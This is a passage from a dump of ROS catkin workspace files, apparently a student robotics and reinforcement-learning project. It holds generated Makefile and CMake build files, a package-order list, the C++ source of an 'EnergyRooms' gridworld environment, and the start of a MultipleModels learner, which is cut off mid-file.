file\nsrc/homework4.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/homework4.dir/build.make homework4/CMakeFiles/homework4.dir/src/homework4.cpp.s\n.PHONY : src/homework4.cpp.s\n\ntest/test_homework4.o: test/test_homework4.cpp.o\n\n.PHONY : test/test_homework4.o\n\n# target to build an object file\ntest/test_homework4.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/test_homework4.dir/build.make homework4/CMakeFiles/test_homework4.dir/test/test_homework4.cpp.o\n.PHONY : test/test_homework4.cpp.o\n\ntest/test_homework4.i: test/test_homework4.cpp.i\n\n.PHONY : test/test_homework4.i\n\n# target to preprocess a source file\ntest/test_homework4.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/test_homework4.dir/build.make homework4/CMakeFiles/test_homework4.dir/test/test_homework4.cpp.i\n.PHONY : test/test_homework4.cpp.i\n\ntest/test_homework4.s: test/test_homework4.cpp.s\n\n.PHONY : test/test_homework4.s\n\n# target to generate assembly for a file\ntest/test_homework4.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/test_homework4.dir/build.make homework4/CMakeFiles/test_homework4.dir/test/test_homework4.cpp.s\n.PHONY : test/test_homework4.cpp.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install\"\n\t@echo \"... list_install_components\"\n\t@echo \"... edit_cache\"\n\t@echo \"... homework4\"\n\t@echo \"... visualization_msgs_generate_messages_nodejs\"\n\t@echo \"... visualization_msgs_generate_messages_lisp\"\n\t@echo \"... visualization_msgs_generate_messages_eus\"\n\t@echo \"... visualization_msgs_generate_messages_cpp\"\n\t@echo \"... geometry_msgs_generate_messages_py\"\n\t@echo \"... dynamic_reconfigure_generate_messages_py\"\n\t@echo \"... tf_generate_messages_nodejs\"\n\t@echo \"... tf2_msgs_generate_messages_nodejs\"\n\t@echo \"... geometry_msgs_generate_messages_eus\"\n\t@echo \"... tf_generate_messages_eus\"\n\t@echo \"... actionlib_msgs_generate_messages_cpp\"\n\t@echo \"... tf_generate_messages_cpp\"\n\t@echo \"... sensor_msgs_generate_messages_cpp\"\n\t@echo \"... sensor_msgs_generate_messages_eus\"\n\t@echo \"... dynamic_reconfigure_generate_messages_eus\"\n\t@echo \"... tf_generate_messages_lisp\"\n\t@echo \"... geometry_msgs_generate_messages_nodejs\"\n\t@echo \"... test_homework4\"\n\t@echo \"... tf2_msgs_generate_messages_eus\"\n\t@echo \"... dynamic_reconfigure_generate_messages_lisp\"\n\t@echo \"... dynamic_reconfigure_generate_messages_cpp\"\n\t@echo \"... geometry_msgs_generate_messages_lisp\"\n\t@echo \"... geometry_msgs_generate_messages_cpp\"\n\t@echo \"... actionlib_msgs_generate_messages_nodejs\"\n\t@echo \"... visualization_msgs_generate_messages_py\"\n\t@echo \"... dynamic_reconfigure_generate_messages_nodejs\"\n\t@echo \"... dynamic_reconfigure_gencfg\"\n\t@echo \"... actionlib_generate_messages_py\"\n\t@echo \"... install/local\"\n\t@echo \"... sensor_msgs_generate_messages_lisp\"\n\t@echo \"... actionlib_generate_messages_eus\"\n\t@echo \"... tf_generate_messages_py\"\n\t@echo \"... sensor_msgs_generate_messages_py\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... sensor_msgs_generate_messages_nodejs\"\n\t@echo \"... actionlib_generate_messages_cpp\"\n\t@echo \"... actionlib_generate_messages_lisp\"\n\t@echo \"... test\"\n\t@echo \"... homework4_gencfg\"\n\t@echo \"... actionlib_generate_messages_nodejs\"\n\t@echo \"... actionlib_msgs_generate_messages_eus\"\n\t@echo \"... actionlib_msgs_generate_messages_lisp\"\n\t@echo \"... actionlib_msgs_generate_messages_py\"\n\t@echo \"... tf2_msgs_generate_messages_cpp\"\n\t@echo \"... install/strip\"\n\t@echo \"... tf2_msgs_generate_messages_py\"\n\t@echo \"... tf2_msgs_generate_messages_lisp\"\n\t@echo \"... src/homework4.o\"\n\t@echo \"... src/homework4.i\"\n\t@echo \"... src/homework4.s\"\n\t@echo \"... test/test_homework4.o\"\n\t@echo \"... test/test_homework4.i\"\n\t@echo \"... test/test_homework4.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.772857129573822, "alphanum_fraction": 0.772857129573822, "avg_line_length": 49, "blob_id": "d26ffa78c580702ba50972882e3b043f8c2696a1", "content_id": "c7f81d15bdc434e857865ecf1f1ef2c4482dffa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 700, "license_type": "no_license", "max_line_length": 90, "num_lines": 14, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/rl_msgs_generate_messages_eus\"\n \"/home/justin/ros_test/devel/share/roseus/ros/rl_msgs/msg/RLEnvSeedExperience.l\"\n \"/home/justin/ros_test/devel/share/roseus/ros/rl_msgs/msg/RLExperimentInfo.l\"\n \"/home/justin/ros_test/devel/share/roseus/ros/rl_msgs/msg/RLEnvDescription.l\"\n \"/home/justin/ros_test/devel/share/roseus/ros/rl_msgs/msg/RLStateReward.l\"\n \"/home/justin/ros_test/devel/share/roseus/ros/rl_msgs/msg/RLAction.l\"\n \"/home/justin/ros_test/devel/share/roseus/ros/rl_msgs/manifest.l\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/rl_msgs_generate_messages_eus.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.8045353889465332, "alphanum_fraction": 0.8089601993560791, "avg_line_length": 56.21519088745117, "blob_id": "4528f059a4c09b87639a0d20d74749aed0f33bdf", "content_id": "520b3d01b447712ee816242fcbc47c88eab0bd10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 9040, "license_type": "no_license", "max_line_length": 115, "num_lines": 158, "path": "/build/catkin_generated/order_packages.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from catkin/cmake/em/order_packages.cmake.em\n\nset(CATKIN_ORDERED_PACKAGES \"\")\nset(CATKIN_ORDERED_PACKAGE_PATHS \"\")\nset(CATKIN_ORDERED_PACKAGES_IS_META \"\")\nset(CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"boost_python_catkin_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"boost-python-catkin-example-master\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"gmapping_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"gmapping_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"hector_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"hector_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"mybot_control\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"mybot_control\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"mybot_description\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"mybot_description\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"mybot_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"mybot_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"mybot_navigation\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"mybot_navigation\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"robot_sensors\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"robot_sensors\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"rl_msgs\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"rl-texplore-ros-pkg-master/src/rl_msgs\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"True\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_machine_learning\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_machine_learning\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"True\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_msgs\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_msgs\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_navigation\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3_navigation\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_simulations\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_simulations/turtlebot3_simulations\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"True\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"ugv_course_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"ugv_course_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"ugv_course_launch\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"ugv_course_launch\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"mybot_cpp\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"mybot_cpp\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"rl_common\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"rl-texplore-ros-pkg-master/src/rl_common\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"roundbot_control\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"roundbot_control\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"simple_navigation_goals\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"simple_navigation_goals\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"mantis_model\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"mantis_model\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"rl_agent\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"rl-texplore-ros-pkg-master/src/rl_agent\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"rl_env\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"rl-texplore-ros-pkg-master/src/rl_env\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"rl_experiment\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"rl-texplore-ros-pkg-master/src/rl_experiment\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"roundbot_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"roundbot_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"state_space_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"state_space_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_bringup\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3_bringup\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_ddpg\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_ddpg\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_dqn\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_dqn\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3_example\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_fake\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_simulations/turtlebot3_fake\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3_simulations/turtlebot3_gazebo\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_slam\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3_slam\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_teleop\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3_teleop\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"ugv_course_libs\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"ugv_course_libs\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"roundbot_description\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"roundbot_description\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\nlist(APPEND CATKIN_ORDERED_PACKAGES \"turtlebot3_description\")\nlist(APPEND CATKIN_ORDERED_PACKAGE_PATHS \"turtlebot3/turtlebot3_description\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_IS_META \"False\")\nlist(APPEND CATKIN_ORDERED_PACKAGES_BUILD_TYPE \"catkin\")\n\nset(CATKIN_MESSAGE_GENERATORS )\n\nset(CATKIN_METAPACKAGE_CMAKE_TEMPLATE \"/usr/lib/python2.7/dist-packages/catkin_pkg/templates/metapackage.cmake.in\")\n" }, { "alpha_fraction": 0.5272727012634277, "alphanum_fraction": 0.5535918474197388, "avg_line_length": 19.535247802734375, "blob_id": "8ab052a285a30347e4dbd7434133b5a4ba28444c", "content_id": "4f485af92dda55d2bb5a083b80b3f5f620c8b0a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7865, "license_type": "no_license", "max_line_length": 91, "num_lines": 383, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/energyrooms.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_env/energyrooms.hh>\n\n/*\n EnergyRooms::EnergyRooms(Random &rand, const Gridworld *gridworld, bool stochastic):\n grid(gridworld), goal(coord_t(2.,2.)), noisy(stochastic), rng(rand),\n s(2),\n ns(s[0]),\n ew(s[1])\n {\n randomize_goal();\n reset();\n }\n*/\n\nEnergyRooms::EnergyRooms(Random &rand, bool negReward):\n grid(create_default_map()),\n goal(coord_t(1.,10.)),\n negReward(negReward),\n noisy(false),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(3),\n ns(s[0]),\n ew(s[1]),\n energy(s[2]),\n goalOption(false),\n fuel(false)\n{\n reset();\n //cout << *this << endl;\n}\n\nEnergyRooms::EnergyRooms(Random &rand, bool stochastic, bool negReward,\n bool goalOption):\n grid(create_default_map()),\n goal(coord_t(1.,10.)),\n negReward(negReward),\n noisy(stochastic),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(3),\n ns(s[0]),\n ew(s[1]),\n energy(s[2]),\n goalOption(goalOption),\n fuel(false)\n{\n reset();\n}\n\nEnergyRooms::EnergyRooms(Random &rand, bool stochastic, bool negReward,\n bool goalOption, bool fuel):\n grid(create_default_map()),\n goal(coord_t(1.,10.)),\n negReward(negReward),\n noisy(stochastic),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(3),\n ns(s[0]),\n ew(s[1]),\n energy(s[2]),\n goalOption(goalOption),\n fuel(fuel)\n{\n reset();\n}\n\n\n/*\n EnergyRooms::EnergyRooms(Random &rand, unsigned width, unsigned height, bool stochastic):\n grid(new Gridworld(height, width, rand)),\n goal(coord_t(2.,2.)),\n noisy(stochastic), rng(rand),\n doorway(NULL),\n s(2),\n ns(s[0]),\n ew(s[1])\n {\n randomize_goal();\n reset();\n }\n*/\n\nEnergyRooms::~EnergyRooms() { delete grid; }\n\nconst std::vector<float> &EnergyRooms::sensation() const {\n //cout << \"At state \" << s[0] << \", \" << s[1] << endl;\n\n return s;\n}\n\nfloat EnergyRooms::apply(int action) {\n\n //cout << \"Taking action \" << static_cast<room_action_t>(action) << endl;\n\n // 80% of the time, lose one energy\n if (!noisy || rng.bernoulli(0.8))\n energy--;\n\n // many fuel squares, with varying amounts of fuel and reward\n if (fuel){\n if ((int)ns % 3 == 0 && (int)ew % 3 == 0){\n energy += (int)(5 + ns/3 + (11-ew)/3);\n }\n if (energy > 20.0)\n energy = 20.0;\n }\n else {\n // certain squares reset you to 10\n if (ns == 7 && ew == 3)\n energy = 10;\n if (ns == 7 && ew == 7)\n energy = 10;\n if (ns == 3 && ew == 3)\n energy = 10;\n if (ns == 7 && ew == 7)\n energy = 10;\n }\n\n // never go below 0\n if (energy < 0.0)\n energy = 0;\n\n\n const room_action_t effect =\n noisy\n ? add_noise(static_cast<room_action_t>(action))\n : static_cast<room_action_t>(action);\n switch(effect) {\n case NORTH:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n ++ns;\n }\n return reward();\n case SOUTH:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n --ns;\n }\n return reward();\n case EAST:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n ++ew;\n }\n return reward();\n case WEST:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n --ew;\n }\n return reward();\n }\n\n std::cerr << \"Unreachable point reached in EnergyRooms::apply!!!\\n\";\n return 0; // unreachable, I hope\n}\n\n\nfloat EnergyRooms::reward() {\n\n if (negReward){\n // normally -1 and 0 on goal\n if (terminal())\n return 0;\n else if (energy <= 0.1){\n if (fuel)\n return -10;\n else\n return -2;\n }\n // normal square and normal energy\n else{\n // many squares of random cost\n if (fuel){\n if ((int)ns % 3 == 0 && (int)ew % 3 == 0)\n return -2 + (int)(-ew/5 -((int)ns%4));\n\n else\n return -1;\n }\n else\n return -1;\n }\n\n } // not negReward\n else{\n\n // or we could do 0 and 1 on goal\n if (terminal())\n return 1;\n else if (energy <= 0.1){\n if (fuel)\n return -10;\n else\n return -2;\n }else\n return 0;\n }\n}\n\n\nbool EnergyRooms::terminal() const {\n // current position equal to goal??\n return coord_t(ns,ew) == goal;\n}\n\n\nvoid EnergyRooms::reset() {\n // start randomly in upper left room (goal is lower right)\n ns = rng.uniformDiscrete(6, grid->height()-1);\n ew = rng.uniformDiscrete(0, 4);\n energy = 10;\n\n // if fuel, start with random amount of fuel\n if (fuel) {\n energy = rng.uniformDiscrete(1, 20);\n }\n\n //ns = 8;\n //ew = 2;\n\n //ns = 4;\n //ew = 9;\n}\n\n\nstd::vector<std::vector<float> > EnergyRooms::getSubgoals(){\n\n //cout << \"Getting room subgoals \" << endl;\n\n // Create vector of state representations, each is a subgoal\n std::vector<std::vector<float> > subgoals;\n\n\n std::vector<float> subgoal(2);\n\n // between two left rooms\n subgoal[0] = 5;\n subgoal[1] = 1;\n subgoals.push_back(subgoal);\n\n // between two right rooms\n subgoal[0] = 4;\n subgoal[1] = 8;\n subgoals.push_back(subgoal);\n\n // between two top rooms\n subgoal[0] = 8;\n subgoal[1] = 5;\n subgoals.push_back(subgoal);\n\n // between two lower rooms\n subgoal[0] = 1;\n subgoal[1] = 5;\n subgoals.push_back(subgoal);\n\n if (goalOption){\n // actual goal\n subgoal[0] = 1;\n subgoal[1] = 10;\n subgoals.push_back(subgoal);\n }\n\n return subgoals;\n\n}\n\n\nint EnergyRooms::getNumActions(){\n return 4;\n}\n\n\nstd::ostream &operator<<(std::ostream &out, const EnergyRooms &rooms) {\n out << \"Map:\\n\" << *rooms.grid;\n\n // print goal\n out << \"Goal: row \" << rooms.goal.first\n << \", column \" << rooms.goal.second << \"\\n\";\n\n // print doorway\n out << \"Doorway: row \" << rooms.doorway.first\n << \", column \" << rooms.doorway.second << \"\\n\";\n\n return out;\n}\n\nconst Gridworld *EnergyRooms::create_default_map() {\n int width = 11;\n int height = 11;\n std::vector<std::vector<bool> > nsv(width, std::vector<bool>(height-1,false));\n std::vector<std::vector<bool> > ewv(height, std::vector<bool>(width-1,false));\n\n // put the vertical wall between the two rooms\n for (int j = 0; j < height; j++){\n // skip doorways at 1 and 8\n if (j == 1 || j == 8)\n continue;\n ewv[j][4] = true;\n ewv[j][5] = true;\n }\n\n nsv[5][0] = true;\n nsv[5][1] = true;\n nsv[5][7] = true;\n nsv[5][8] = true;\n\n // put the horizontal wall for the left room\n for (int i = 0; i < 6; i++){\n // skip doorway at 1\n if (i == 1)\n continue;\n nsv[i][4] = true;\n nsv[i][5] = true;\n }\n\n ewv[5][0] = true;\n ewv[5][1] = true;\n\n // put the horizontal wall for the right room\n for (int i = 5; i < width; i++){\n // skip doorway at 8\n if (i == 8)\n continue;\n nsv[i][3] = true;\n nsv[i][4] = true;\n }\n\n ewv[4][7] = true;\n ewv[4][8] = true;\n\n return new Gridworld(height, width, nsv, ewv);\n}\n\nEnergyRooms::room_action_t EnergyRooms::add_noise(room_action_t action) {\n switch(action) {\n case NORTH:\n case SOUTH:\n return rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? EAST : WEST);\n case EAST:\n case WEST:\n return rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? NORTH : SOUTH);\n default:\n return action;\n }\n}\n\n\nvoid EnergyRooms::randomize_goal() {\n const unsigned n = grid->height() * grid->width();\n unsigned index = rng.uniformDiscrete(1,n) - 1;\n goal = coord_t(index / grid->width(), index % grid->width());\n}\n\n\nvoid EnergyRooms::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n\n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 10.0);\n\n (*maxFeat)[2] = 20.0;\n\n}\n\nvoid EnergyRooms::getMinMaxReward(float *minR,\n float *maxR){\n\n *minR = -10.0;\n *maxR = 1.0;\n\n}\n" }, { "alpha_fraction": 0.6167809367179871, "alphanum_fraction": 0.6268656849861145, "avg_line_length": 22.580951690673828, "blob_id": "cfe324d342edf7457aa92ff2b7aca683e094449b", "content_id": "8a05de0980eec228cf625940be46bd2d6711f542", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2479, "license_type": "no_license", "max_line_length": 138, "num_lines": 105, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/MultipleModels.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"MultipleModels.hh\"\n#include \"NeuralNetwork.hh\"\n#include \"DecisionTree.hh\"\n#include \"StochDecisionTree.hh\"\n#include \"KNN.hh\"\n\n\nconst bool MM_DEBUG = false; //true;\n\n\nMultipleModels::MultipleModels(int id, int nIn, int nOut, int modeltype, Random rng):\n id(id), nInput(nIn), nOutput(nOut), type(modeltype), rng(rng)\n{\n\n \n if (MM_DEBUG) \n cout << \"nIn: \" << nInput << \" nOut: \" << nOutput << endl;\n\n // create a model for each output variable\n createModels();\n\n if (MM_DEBUG)\n cout << \"multiple models created.\" << endl;\n\n}\n\nMultipleModels::~MultipleModels() {}\n\n\n\nbool MultipleModels::trainInstance(std::vector<float> input, \n\t\t\t\t std::vector<float> targetOutput){\n if (MM_DEBUG) cout << \"Multimodel trainInstance()\" << endl;\n bool modelChanged = false;\n\n // for each model\n for (int i = 0; i < nOutput; i++){\n\n std::vector<float> output;\n output.push_back(targetOutput[i]);\n\n // call train instance, with just its output variable\n bool singleChange = models[i]->trainInstance(input, output);\n if (singleChange)\n modelChanged = true;\n }\n\n return modelChanged;\n\n}\n\n\n\n// TODO: figure out 